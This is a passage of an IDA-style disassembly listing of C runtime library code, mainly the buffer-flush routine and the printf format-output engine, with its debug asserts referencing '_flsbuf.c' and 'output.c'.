loc_42A4A5 loc_42A48F: ; CODE XREF: sub_42A430+50j mov edx, [ebp+var_8] mov eax, [edx+0Ch] or al, 20h mov ecx, [ebp+var_8] mov [ecx+0Ch], eax or eax, 0FFFFFFFFh jmp loc_42A69D ; --------------------------------------------------------------------------- loc_42A4A5: ; CODE XREF: sub_42A430+5Dj mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 1 test eax, eax jz short loc_42A4FC mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_8] mov eax, [edx+0Ch] and eax, 10h test eax, eax jz short loc_42A4E5 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [edx+8] mov [ecx], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFFEh mov eax, [ebp+var_8] mov [eax+0Ch], edx jmp short loc_42A4FC ; --------------------------------------------------------------------------- loc_42A4E5: ; CODE XREF: sub_42A430+97j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 20h mov eax, [ebp+var_8] mov [eax+0Ch], edx or eax, 0FFFFFFFFh jmp loc_42A69D ; --------------------------------------------------------------------------- loc_42A4FC: ; CODE XREF: sub_42A430+80j ; sub_42A430+B3j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] or edx, 2 mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 0FFFFFFEFh mov eax, [ebp+var_8] mov [eax+0Ch], edx mov ecx, [ebp+var_8] mov dword ptr [ecx+4], 0 mov [ebp+var_4], 0 mov edx, [ebp+var_4] mov [ebp+var_C], edx mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 10Ch test ecx, ecx jnz short loc_42A56F cmp [ebp+var_8], offset dword_44FF68 jz short loc_42A553 cmp [ebp+var_8], offset dword_44FF88 jnz short loc_42A563 loc_42A553: ; CODE XREF: sub_42A430+118j mov edx, [ebp+var_10] push edx call sub_4340A0 add esp, 4 test eax, eax jnz short loc_42A56F loc_42A563: ; CODE XREF: sub_42A430+121j mov eax, [ebp+var_8] push eax call sub_433A30 add esp, 4 loc_42A56F: ; CODE XREF: sub_42A430+10Fj ; sub_42A430+131j mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 108h test edx, edx jz loc_42A65B loc_42A583: ; CODE XREF: sub_42A430+187j mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [eax] sub edx, [ecx+8] test edx, edx jge short loc_42A5B3 push offset aInconsistentIo ; "(\"inconsistent IOB fields\", stream->_pt"... push 0 push 0A0h push offset a_flsbuf_c ; "_flsbuf.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42A5B3 int 3 ; Trap to Debugger loc_42A5B3: ; CODE XREF: sub_42A430+160j ; sub_42A430+180j xor eax, eax test eax, eax jnz short loc_42A583 mov ecx, [ebp+var_8] mov edx, [ebp+var_8] mov eax, [ecx] sub eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+var_8] mov [eax], edx mov ecx, [ebp+var_8] mov edx, [ecx+18h] sub edx, 1 mov eax, [ebp+var_8] mov [eax+4], edx cmp [ebp+var_4], 0 jle short loc_42A606 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+var_8] mov eax, [edx+8] push eax mov ecx, [ebp+var_10] push ecx call sub_430550 add esp, 0Ch mov [ebp+var_C], eax jmp short loc_42A64E ; --------------------------------------------------------------------------- loc_42A606: ; CODE XREF: sub_42A430+1B8j cmp [ebp+var_10], 0FFFFFFFFh jz short loc_42A629 mov edx, [ebp+var_10] sar edx, 5 mov eax, [ebp+var_10] and eax, 1Fh imul eax, 24h mov ecx, dword_4E95A0[edx*4] add ecx, eax mov [ebp+var_14], ecx jmp short loc_42A630 ; --------------------------------------------------------------------------- loc_42A629: ; CODE XREF: sub_42A430+1DAj mov [ebp+var_14], offset dword_452AA0 loc_42A630: ; CODE XREF: sub_42A430+1F7j mov edx, [ebp+var_14] movsx eax, byte ptr [edx+4] and eax, 20h test eax, eax jz short loc_42A64E push 2 push 0 mov ecx, [ebp+var_10] push ecx call sub_4300F0 add esp, 0Ch loc_42A64E: ; CODE XREF: sub_42A430+1D4j ; sub_42A430+20Cj mov edx, [ebp+var_8] mov eax, [edx+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_42A679 ; --------------------------------------------------------------------------- loc_42A65B: ; CODE XREF: sub_42A430+14Dj mov [ebp+var_4], 1 mov edx, [ebp+var_4] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] push ecx call sub_430550 add esp, 0Ch mov [ebp+var_C], eax loc_42A679: ; CODE XREF: sub_42A430+229j mov edx, [ebp+var_C] cmp edx, [ebp+var_4] jz short loc_42A695 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx or eax, 0FFFFFFFFh jmp short loc_42A69D ; --------------------------------------------------------------------------- loc_42A695: ; CODE XREF: sub_42A430+24Fj mov eax, [ebp+arg_0] and eax, 0FFh loc_42A69D: ; CODE XREF: sub_42A430+70j ; sub_42A430+C7j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_42A430 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A6B0 proc near ; CODE XREF: sub_4219C0+9Ap ; sub_421B90+99p ... var_2A6 = word ptr -2A6h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_298 = dword ptr -298h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = byte ptr -288h var_284 = dword ptr -284h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = word ptr -248h var_244 = dword ptr -244h var_240 = byte ptr -240h var_23F = byte ptr -23Fh var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = byte ptr -228h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h push ebx push esi push edi mov [ebp+var_24], 0 mov [ebp+var_22C], 0 mov [ebp+var_18], 0 loc_42A6D4: ; CODE XREF: sub_42A6B0:loc_42B2C2j mov eax, [ebp+arg_4] mov cl, [eax] mov byte ptr [ebp+var_28], cl movsx edx, byte ptr [ebp+var_28] mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax test edx, edx jz loc_42B2C7 cmp [ebp+var_22C], 0 jl loc_42B2C7 movsx ecx, byte ptr [ebp+var_28] cmp ecx, 20h jl short loc_42A726 movsx edx, byte ptr [ebp+var_28] cmp edx, 78h jg short loc_42A726 movsx eax, byte ptr [ebp+var_28] movsx ecx, byte ptr [eax+43F0D0h] and ecx, 0Fh mov [ebp+var_290], ecx jmp short loc_42A730 ; --------------------------------------------------------------------------- loc_42A726: ; CODE XREF: sub_42A6B0+55j ; sub_42A6B0+5Ej mov [ebp+var_290], 0 loc_42A730: ; CODE XREF: sub_42A6B0+74j mov edx, [ebp+var_290] mov [ebp+var_C], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_18] movsx edx, byte_43F0F0[ecx+eax*8] sar edx, 4 mov [ebp+var_18], edx mov eax, [ebp+var_18] mov [ebp+var_294], eax cmp [ebp+var_294], 7 ja loc_42B2C2 mov ecx, [ebp+var_294] jmp off_42B2D4[ecx*4] loc_42A770: ; CODE XREF: sub_42A6B0+332j ; DATA XREF: .XComp0:off_42B2D4o mov [ebp+var_1C], 0 mov edx, [ebp+var_28] and edx, 0FFh mov eax, off_4522E4 xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_42A7ED lea edx, [ebp+var_22C] push edx mov eax, [ebp+arg_0] push eax movsx ecx, byte ptr [ebp+var_28] push ecx call sub_42B3E0 add esp, 0Ch mov edx, [ebp+arg_4] mov al, [edx] mov byte ptr [ebp+var_28], al mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx loc_42A7BE: ; CODE XREF: sub_42A6B0+13Bj movsx edx, byte ptr [ebp+var_28] test edx, edx jnz short loc_42A7E7 push offset aCh_t0 ; "ch != _T('\\0')" push 0 push 186h push offset aOutput_c ; "output.c" push 2 call sub_424D20 add esp, 14h cmp eax, 1 jnz short loc_42A7E7 int 3 ; Trap to Debugger loc_42A7E7: ; CODE XREF: sub_42A6B0+114j ; sub_42A6B0+134j xor eax, eax test eax, eax jnz short loc_42A7BE loc_42A7ED: ; CODE XREF: sub_42A6B0+E3j lea ecx, [ebp+var_22C] push ecx mov edx, [ebp+arg_0] push edx movsx eax, byte ptr [ebp+var_28] push eax call sub_42B3E0 add esp, 0Ch jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A80A: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2D8o mov [ebp+var_8], 0 mov ecx, [ebp+var_8] mov [ebp+var_23C], ecx mov edx, [ebp+var_23C] mov [ebp+var_244], edx mov eax, [ebp+var_244] mov [ebp+var_10], eax mov [ebp+var_4], 0 mov [ebp+var_234], 0FFFFFFFFh mov [ebp+var_1C], 0 jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A84C: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2DCo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_298], ecx mov edx, [ebp+var_298] sub edx, 20h mov [ebp+var_298], edx cmp [ebp+var_298], 10h ja short loc_42A8B6 mov ecx, [ebp+var_298] xor eax, eax mov al, byte_42B30C[ecx] jmp off_42B2F4[eax*4] loc_42A883: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B300o mov edx, [ebp+var_4] or edx, 4 mov [ebp+var_4], edx jmp short loc_42A8B6 ; --------------------------------------------------------------------------- loc_42A88E: ; CODE XREF: sub_42A6B0+B9j ; sub_42A6B0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 1 mov [ebp+var_4], eax jmp short loc_42A8B6 ; --------------------------------------------------------------------------- loc_42A898: ; CODE XREF: sub_42A6B0+B9j ; sub_42A6B0+1CCj ; DATA XREF: ... mov ecx, [ebp+var_4] or ecx, 2 mov [ebp+var_4], ecx jmp short loc_42A8B6 ; --------------------------------------------------------------------------- loc_42A8A3: ; CODE XREF: sub_42A6B0+B9j ; sub_42A6B0+1CCj ; DATA XREF: ... mov edx, [ebp+var_4] or dl, 80h mov [ebp+var_4], edx jmp short loc_42A8B6 ; --------------------------------------------------------------------------- loc_42A8AE: ; CODE XREF: sub_42A6B0+B9j ; sub_42A6B0+1CCj ; DATA XREF: ... mov eax, [ebp+var_4] or al, 8 mov [ebp+var_4], eax loc_42A8B6: ; CODE XREF: sub_42A6B0+B9j ; sub_42A6B0+1BCj ... jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A8BB: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2E0o movsx ecx, byte ptr [ebp+var_28] cmp ecx, 2Ah jnz short loc_42A8F7 lea edx, [ebp+arg_8] push edx call sub_42B4F0 add esp, 4 mov [ebp+var_244], eax cmp [ebp+var_244], 0 jge short loc_42A8F5 mov eax, [ebp+var_4] or al, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_244] neg ecx mov [ebp+var_244], ecx loc_42A8F5: ; CODE XREF: sub_42A6B0+22Dj jmp short loc_42A90E ; --------------------------------------------------------------------------- loc_42A8F7: ; CODE XREF: sub_42A6B0+212j mov edx, [ebp+var_244] imul edx, 0Ah movsx eax, byte ptr [ebp+var_28] lea ecx, [edx+eax-30h] mov [ebp+var_244], ecx loc_42A90E: ; CODE XREF: sub_42A6B0:loc_42A8F5j jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A913: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2E4o mov [ebp+var_234], 0 jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A922: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2E8o movsx edx, byte ptr [ebp+var_28] cmp edx, 2Ah jnz short loc_42A952 lea eax, [ebp+arg_8] push eax call sub_42B4F0 add esp, 4 mov [ebp+var_234], eax cmp [ebp+var_234], 0 jge short loc_42A950 mov [ebp+var_234], 0FFFFFFFFh loc_42A950: ; CODE XREF: sub_42A6B0+294j jmp short loc_42A969 ; --------------------------------------------------------------------------- loc_42A952: ; CODE XREF: sub_42A6B0+279j mov ecx, [ebp+var_234] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_28] lea eax, [ecx+edx-30h] mov [ebp+var_234], eax loc_42A969: ; CODE XREF: sub_42A6B0:loc_42A950j jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42A96E: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2ECo movsx ecx, byte ptr [ebp+var_28] mov [ebp+var_29C], ecx mov edx, [ebp+var_29C] sub edx, 49h mov [ebp+var_29C], edx cmp [ebp+var_29C], 2Eh ja short loc_42A9FC mov ecx, [ebp+var_29C] xor eax, eax mov al, byte_42B331[ecx] jmp off_42B31D[eax*4] loc_42A9A5: ; DATA XREF: .XComp0:0042B325o mov edx, [ebp+var_4] or edx, 10h mov [ebp+var_4], edx jmp short loc_42A9FC ; --------------------------------------------------------------------------- loc_42A9B0: ; CODE XREF: sub_42A6B0+2EEj ; DATA XREF: .XComp0:off_42B31Do mov eax, [ebp+arg_4] movsx ecx, byte ptr [eax] cmp ecx, 36h jnz short loc_42A9DB mov edx, [ebp+arg_4] movsx eax, byte ptr [edx+1] cmp eax, 34h jnz short loc_42A9DB mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx mov edx, [ebp+var_4] or dh, 80h mov [ebp+var_4], edx jmp short loc_42A9E7 ; --------------------------------------------------------------------------- loc_42A9DB: ; CODE XREF: sub_42A6B0+309j ; sub_42A6B0+315j mov [ebp+var_18], 0 jmp loc_42A770 ; --------------------------------------------------------------------------- loc_42A9E7: ; CODE XREF: sub_42A6B0+329j jmp short loc_42A9FC ; --------------------------------------------------------------------------- loc_42A9E9: ; CODE XREF: sub_42A6B0+2EEj ; DATA XREF: .XComp0:0042B321o mov eax, [ebp+var_4] or al, 20h mov [ebp+var_4], eax jmp short loc_42A9FC ; --------------------------------------------------------------------------- loc_42A9F3: ; CODE XREF: sub_42A6B0+2EEj ; DATA XREF: .XComp0:0042B329o mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_42A9FC: ; CODE XREF: sub_42A6B0+2DEj ; sub_42A6B0+2EEj ... jmp loc_42B2C2 ; --------------------------------------------------------------------------- loc_42AA01: ; CODE XREF: sub_42A6B0+B9j ; DATA XREF: .XComp0:0042B2F0o movsx edx, byte ptr [ebp+var_28] mov [ebp+var_2A0], edx mov eax, [ebp+var_2A0] sub eax, 43h mov [ebp+var_2A0], eax cmp [ebp+var_2A0], 35h ja loc_42B0E7 mov edx, [ebp+var_2A0] xor ecx, ecx mov cl, byte_42B39C[edx] jmp off_42B360[ecx*4] loc_42AA3C: ; DATA XREF: .XComp0:off_42B360o mov eax, [ebp+var_4] and eax, 830h test eax, eax jnz short loc_42AA51 mov ecx, [ebp+var_4] or ch, 8 mov [ebp+var_4], ecx loc_42AA51: ; CODE XREF: sub_42A6B0+385j ; sub_42A6B0+396j ; DATA XREF: ... mov edx, [ebp+var_4] and edx, 810h test edx, edx jz short loc_42AA97 lea eax, [ebp+arg_8] push eax call sub_42B530 add esp, 4 mov [ebp+var_14], ax mov cx, [ebp+var_14] push ecx lea edx, [ebp+var_228] push edx call sub_4340E0 add esp, 8 mov [ebp+var_24], eax cmp [ebp+var_24], 0 jge short loc_42AA95 mov [ebp+var_23C], 1 loc_42AA95: ; CODE XREF: sub_42A6B0+3D9j jmp short loc_42AABD ; --------------------------------------------------------------------------- loc_42AA97: ; CODE XREF: sub_42A6B0+3ACj lea eax, [ebp+arg_8] push eax call sub_42B4F0 add esp, 4 mov [ebp+var_248], ax mov cl, byte ptr [ebp+var_248] mov [ebp+var_228], cl mov [ebp+var_24], 1 loc_42AABD: ; CODE XREF: sub_42A6B0:loc_42AA95j lea edx, [ebp+var_228] mov [ebp+var_20], edx jmp loc_42B0E7 ; --------------------------------------------------------------------------- loc_42AACB: ; CODE XREF: sub_42A6B0+385j lea eax, [ebp+arg_8] push eax call sub_42B4F0 add esp, 4 mov [ebp+var_24C], eax cmp [ebp+var_24C], 0 jz short loc_42AAF2 mov ecx, [ebp+var_24C] cmp dword ptr [ecx+4], 0 jnz short loc_42AB0C loc_42AAF2: ; CODE XREF: sub_42A6B0+434j mov edx, off_452500 mov [ebp+var_20], edx mov eax, [ebp+var_20] push eax call sub_41EBD0 add esp, 4 mov [ebp+var_24], eax jmp short loc_42AB5B ; --------------------------------------------------------------------------- loc_42AB0C: ; CODE XREF: sub_42A6B0+440j mov ecx, [ebp+var_4] and ecx, 800h test ecx, ecx jz short loc_42AB3C mov edx, [ebp+var_24C] mov eax, [edx+4] mov [ebp+var_20], eax mov ecx, [ebp+var_24C] movsx edx, word ptr [ecx] shr edx, 1 mov [ebp+var_24], edx mov [ebp+var_1C], 1 jmp short loc_42AB5B ; --------------------------------------------------------------------------- loc_42AB3C: ; CODE XREF: sub_42A6B0+467j mov [ebp+var_1C], 0 mov eax, [ebp+var_24C] mov ecx, [eax+4] mov [ebp+var_20], ecx mov edx, [ebp+var_24C] movsx eax, word ptr [edx] mov [ebp+var_24], eax loc_42AB5B: ; CODE XREF: sub_42A6B0+45Aj ; sub_42A6B0+48Aj jmp loc_42B0E7 ; --------------------------------------------------------------------------- loc_42AB60: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B368o mov ecx, [ebp+var_4] and ecx, 830h test ecx, ecx jnz short loc_42AB76 mov edx, [ebp+var_4] or dh, 8 mov [ebp+var_4], edx loc_42AB76: ; CODE XREF: sub_42A6B0+385j ; sub_42A6B0+4BBj cmp [ebp+var_234], 0FFFFFFFFh jnz short loc_42AB8B mov [ebp+var_2A4], 7FFFFFFFh jmp short loc_42AB97 ; --------------------------------------------------------------------------- loc_42AB8B: ; CODE XREF: sub_42A6B0+4CDj mov eax, [ebp+var_234] mov [ebp+var_2A4], eax loc_42AB97: ; CODE XREF: sub_42A6B0+4D9j mov ecx, [ebp+var_2A4] mov [ebp+var_258], ecx lea edx, [ebp+arg_8] push edx call sub_42B4F0 add esp, 4 mov [ebp+var_20], eax mov eax, [ebp+var_4] and eax, 810h test eax, eax jz short loc_42AC26 cmp [ebp+var_20], 0 jnz short loc_42ABCD mov ecx, off_452504 mov [ebp+var_20], ecx loc_42ABCD: ; CODE XREF: sub_42A6B0+512j mov [ebp+var_1C], 1 mov edx, [ebp+var_20] mov [ebp+var_254], edx loc_42ABDD: ; CODE XREF: sub_42A6B0+564j mov eax, [ebp+var_258] mov ecx, [ebp+var_258] sub ecx, 1 mov [ebp+var_258], ecx test eax, eax jz short loc_42AC16 mov edx, [ebp+var_254] xor eax, eax mov ax, [edx] test eax, eax jz short loc_42AC16 mov ecx, [ebp+var_254] add ecx, 2 mov [ebp+var_254], ecx jmp short loc_42ABDD ; --------------------------------------------------------------------------- loc_42AC16: ; CODE XREF: sub_42A6B0+544j ; sub_42A6B0+553j mov edx, [ebp+var_254] sub edx, [ebp+var_20] sar edx, 1 mov [ebp+var_24], edx jmp short loc_42AC80 ; --------------------------------------------------------------------------- loc_42AC26: ; CODE XREF: sub_42A6B0+50Cj cmp [ebp+var_20], 0 jnz short loc_42AC34 mov eax, off_452500 mov [ebp+var_20], eax loc_42AC34: ; CODE XREF: sub_42A6B0+57Aj mov ecx, [ebp+var_20] mov [ebp+var_250], ecx loc_42AC3D: ; CODE XREF: sub_42A6B0+5C2j mov edx, [ebp+var_258] mov eax, [ebp+var_258] sub eax, 1 mov [ebp+var_258], eax test edx, edx jz short loc_42AC74 mov ecx, [ebp+var_250] movsx edx, byte ptr [ecx] test edx, edx jz short loc_42AC74 mov eax, [ebp+var_250] add eax, 1 mov [ebp+var_250], eax jmp short loc_42AC3D ; --------------------------------------------------------------------------- loc_42AC74: ; CODE XREF: sub_42A6B0+5A4j ; sub_42A6B0+5B1j mov ecx, [ebp+var_250] sub ecx, [ebp+var_20] mov [ebp+var_24], ecx loc_42AC80: ; CODE XREF: sub_42A6B0+574j jmp loc_42B0E7 ; --------------------------------------------------------------------------- loc_42AC85: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B380o lea edx, [ebp+arg_8] push edx call sub_42B4F0 add esp, 4 mov [ebp+var_25C], eax mov eax, [ebp+var_4] and eax, 20h test eax, eax jz short loc_42ACB3 mov ecx, [ebp+var_25C] mov dx, word ptr [ebp+var_22C] mov [ecx], dx jmp short loc_42ACC1 ; --------------------------------------------------------------------------- loc_42ACB3: ; CODE XREF: sub_42A6B0+5EFj mov eax, [ebp+var_25C] mov ecx, [ebp+var_22C] mov [eax], ecx loc_42ACC1: ; CODE XREF: sub_42A6B0+601j mov [ebp+var_23C], 1 jmp loc_42B0E7 ; --------------------------------------------------------------------------- loc_42ACD0: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B364o mov [ebp+var_8], 1 mov dl, byte ptr [ebp+var_28] add dl, 20h mov byte ptr [ebp+var_28], dl loc_42ACE0: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B37Co mov eax, [ebp+var_4] or al, 40h mov [ebp+var_4], eax lea ecx, [ebp+var_228] mov [ebp+var_20], ecx cmp [ebp+var_234], 0 jge short loc_42AD06 mov [ebp+var_234], 6 jmp short loc_42AD22 ; --------------------------------------------------------------------------- loc_42AD06: ; CODE XREF: sub_42A6B0+648j cmp [ebp+var_234], 0 jnz short loc_42AD22 movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_42AD22 mov [ebp+var_234], 1 loc_42AD22: ; CODE XREF: sub_42A6B0+654j ; sub_42A6B0+65Dj ... mov eax, [ebp+arg_8] add eax, 8 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] sub ecx, 8 mov edx, [ecx] mov eax, [ecx+4] mov [ebp+var_264], edx mov [ebp+var_260], eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_234] push edx movsx eax, byte ptr [ebp+var_28] push eax mov ecx, [ebp+var_20] push ecx lea edx, [ebp+var_264] push edx call off_452898 add esp, 14h mov eax, [ebp+var_4] and eax, 80h test eax, eax jz short loc_42AD88 cmp [ebp+var_234], 0 jnz short loc_42AD88 mov ecx, [ebp+var_20] push ecx call off_4528A4 add esp, 4 loc_42AD88: ; CODE XREF: sub_42A6B0+6C0j ; sub_42A6B0+6C9j movsx edx, byte ptr [ebp+var_28] cmp edx, 67h jnz short loc_42ADAA mov eax, [ebp+var_4] and eax, 80h test eax, eax jnz short loc_42ADAA mov ecx, [ebp+var_20] push ecx call off_45289C add esp, 4 loc_42ADAA: ; CODE XREF: sub_42A6B0+6DFj ; sub_42A6B0+6EBj mov edx, [ebp+var_20] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_42ADC7 mov ecx, [ebp+var_4] or ch, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx loc_42ADC7: ; CODE XREF: sub_42A6B0+703j mov eax, [ebp+var_20] push eax call sub_41EBD0 add esp, 4 mov [ebp+var_24], eax jmp loc_42B0E7 ; --------------------------------------------------------------------------- loc_42ADDB: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B378o mov ecx, [ebp+var_4] or ecx, 40h mov [ebp+var_4], ecx mov [ebp+var_238], 0Ah jmp loc_42AE75 ; --------------------------------------------------------------------------- loc_42ADF3: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B390o mov [ebp+var_238], 0Ah jmp short loc_42AE75 ; --------------------------------------------------------------------------- loc_42ADFF: ; CODE XREF: sub_42A6B0+385j mov [ebp+var_234], 8 loc_42AE09: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B36Co mov [ebp+var_230], 7 jmp short loc_42AE1F ; --------------------------------------------------------------------------- loc_42AE15: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B394o mov [ebp+var_230], 27h loc_42AE1F: ; CODE XREF: sub_42A6B0+763j mov [ebp+var_238], 10h mov edx, [ebp+var_4] and edx, 80h test edx, edx jz short loc_42AE53 mov [ebp+var_240], 30h mov eax, [ebp+var_230] add eax, 51h mov [ebp+var_23F], al mov [ebp+var_10], 2 loc_42AE53: ; CODE XREF: sub_42A6B0+784j jmp short loc_42AE75 ; --------------------------------------------------------------------------- loc_42AE55: ; CODE XREF: sub_42A6B0+385j ; DATA XREF: .XComp0:0042B384o mov [ebp+var_238], 8 mov ecx, [ebp+var_4] and ecx, 80h test ecx, ecx jz short loc_42AE75 mov edx, [ebp+var_4] or dh, 2 mov [ebp+var_4], edx loc_42AE75: ; CODE XREF: sub_42A6B0+73Ej ; sub_42A6B0+74Dj ... mov eax, [ebp+var_4] and eax, 8000h test eax, eax jz short loc_42AE9E lea ecx, [ebp+arg_8] push ecx call sub_42B510 add esp, 4 mov [ebp+var_278], eax mov [ebp+var_274], edx jmp loc_42AF2F ; --------------------------------------------------------------------------- loc_42AE9E: ; CODE XREF: sub_42A6B0+7CFj mov edx, [ebp+var_4] and edx, 20h test edx, edx jz short loc_42AEF0 mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42AED0 lea ecx, [ebp+arg_8] push ecx call sub_42B4F0 add esp, 4 movsx eax, ax cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_42AEEE ; --------------------------------------------------------------------------- loc_42AED0: ; CODE XREF: sub_42A6B0+800j lea edx, [ebp+arg_8] push edx call sub_42B4F0 add esp, 4 and eax, 0FFFFh cdq mov [ebp+var_278], eax mov [ebp+var_274], edx loc_42AEEE: ; CODE XREF: sub_42A6B0+81Ej jmp short loc_42AF2F ; --------------------------------------------------------------------------- loc_42AEF0: ; CODE XREF: sub_42A6B0+7F6j mov eax, [ebp+var_4] and eax, 40h test eax, eax jz short loc_42AF15 lea ecx, [ebp+arg_8] push ecx call sub_42B4F0 add esp, 4 cdq mov [ebp+var_278], eax mov [ebp+var_274], edx jmp short loc_42AF2F ; --------------------------------------------------------------------------- loc_42AF15: ; CODE XREF: sub_42A6B0+848j lea edx, [ebp+arg_8] push edx call sub_42B4F0 add esp, 4 xor ecx, ecx mov [ebp+var_278], eax mov [ebp+var_274], ecx loc_42AF2F: ; CODE XREF: sub_42A6B0+7E9j ; sub_42A6B0:loc_42AEEEj ... mov edx, [ebp+var_4] and edx, 40h test edx, edx jz short loc_42AF77 cmp [ebp+var_274], 0 jg short loc_42AF77 jl short loc_42AF4D cmp [ebp+var_278], 0 jnb short loc_42AF77 loc_42AF4D: ; CODE XREF: sub_42A6B0+892j mov eax, [ebp+var_278] neg eax mov ecx, [ebp+var_274] adc ecx, 0 neg ecx mov [ebp+var_26C], eax mov [ebp+var_268], ecx mov edx, [ebp+var_4] or dh, 1 mov [ebp+var_4], edx jmp short loc_42AF8F ; --------------------------------------------------------------------------- loc_42AF77: ; CODE XREF: sub_42A6B0+887j ; sub_42A6B0+890j ... mov eax, [ebp+var_278] mov [ebp+var_26C], eax mov ecx, [ebp+var_274] mov [ebp+var_268], ecx loc_42AF8F: ; CODE XREF: sub_42A6B0+8C5j mov edx, [ebp+var_4] and edx, 8000h test edx, edx jnz short loc_42AFB7 mov eax, [ebp+var_26C] mov ecx, [ebp+var_268] and ecx, 0 mov [ebp+var_26C], eax mov [ebp+var_268], ecx loc_42AFB7: ; CODE XREF: sub_42A6B0+8EAj cmp [ebp+var_234], 0 jge short loc_42AFCC mov [ebp+var_234], 1 jmp short loc_42AFD5 ; --------------------------------------------------------------------------- loc_42AFCC: ; CODE XREF: sub_42A6B0+90Ej mov edx, [ebp+var_4] and edx, 0FFFFFFF7h mov [ebp+var_4], edx loc_42AFD5: ; CODE XREF: sub_42A6B0+91Aj mov eax, [ebp+var_26C] or eax, [ebp+var_268] test eax, eax jnz short loc_42AFEC mov [ebp+var_10], 0 loc_42AFEC: ; CODE XREF: sub_42A6B0+933j lea ecx, [ebp+var_29] mov [ebp+var_20], ecx loc_42AFF2: ; CODE XREF: sub_42A6B0+9EBj mov edx, [ebp+var_234] mov eax, [ebp+var_234] sub eax, 1 mov [ebp+var_234], eax test edx, edx jg short loc_42B01F mov ecx, [ebp+var_26C] or ecx, [ebp+var_268] test ecx, ecx jz loc_42B0A0 loc_42B01F: ; CODE XREF: sub_42A6B0+959j mov eax, [ebp+var_238] cdq push edx push eax mov edx, [ebp+var_268] push edx mov eax, [ebp+var_26C] push eax call sub_4241B0 add eax, 30h mov [ebp+var_270], eax mov eax, [ebp+var_238] cdq push edx push 